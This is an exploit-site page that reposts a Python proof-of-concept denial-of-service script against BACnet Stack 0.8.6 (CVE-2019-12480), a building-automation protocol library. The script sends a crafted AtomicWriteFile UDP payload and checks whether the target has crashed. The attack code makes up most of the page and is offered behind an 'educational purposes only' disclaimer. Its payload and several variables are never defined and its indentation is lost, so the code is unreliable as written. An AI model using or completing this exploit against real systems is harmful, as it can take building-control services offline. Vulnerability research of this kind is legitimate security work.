Bacnet stack 0.8.6 denial of service Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2019-07-22 |
Type : dos |
Platform : linux
This exploit / vulnerability Bacnet stack 0.8.6 denial of service is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: BACnet Stack 0.8.6 - Denial of Service
# Google Dork: [if applicable]
# Date: 2019-07-19
# Exploit Author: mmorillo
# Vendor Homepage: https://sourceforge.net/p/bacnet/
# Software Link: https://sourceforge.net/projects/bacnet/files/bacnet-stack/bacnet-stack-0.8.6/
# Version: bacnet-stack-0.8.6
# Tested on: Linux
# CVE: CVE-2019-12480
#!/usr/bin/env python
#
# After reported the bug to the vendor, sharing details
# about the vulnerability, as well as proof-of-concept code (exploit code to
# test), has been release a fix for 0.8.7 release of
# BACnet Protocol Stack https://sourceforge.net/p/bacnet/
import socket
import struct
import argparse
import os
import sys
from termcolor import colored
#------------------------------------------------------------------------------
# Command line parser using argparse
#------------------------------------------------------------------------------
def cmdline_parser():
parser = argparse.ArgumentParser(conflict_handler='resolve', add_help=True,
description='BACnet Protocol Stack Segmentation fault leading to denial of service', version='0.1',
usage="python %(prog)s")
#------------------------------------------------------------------------------
# Main of program
#------------------------------------------------------------------------------
def main():
# Get the command line parser.
parser = cmdline_parser()
# Show help if no args
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
# Get results line parser.
results = parser.parse_args()
print((colored("[+] Sending BACnet AtomicWriteFile payload from " + SRC_IP, "green")))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
s.connect((BACnetServer, BACnetPort))
s.send(struct.pack('>I',len(payload_AtomicWriteFile)))
s.send(payload_AtomicWriteFile)
print((colored("[+] Sent Payload: " + payload_AtomicWriteFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))
if not target_alive(BACnetServer, BACnetPort):
print((colored("[+] DoS completed", "red")))
#------------------------------------------------------------------------------
# Main
#------------------------------------------------------------------------------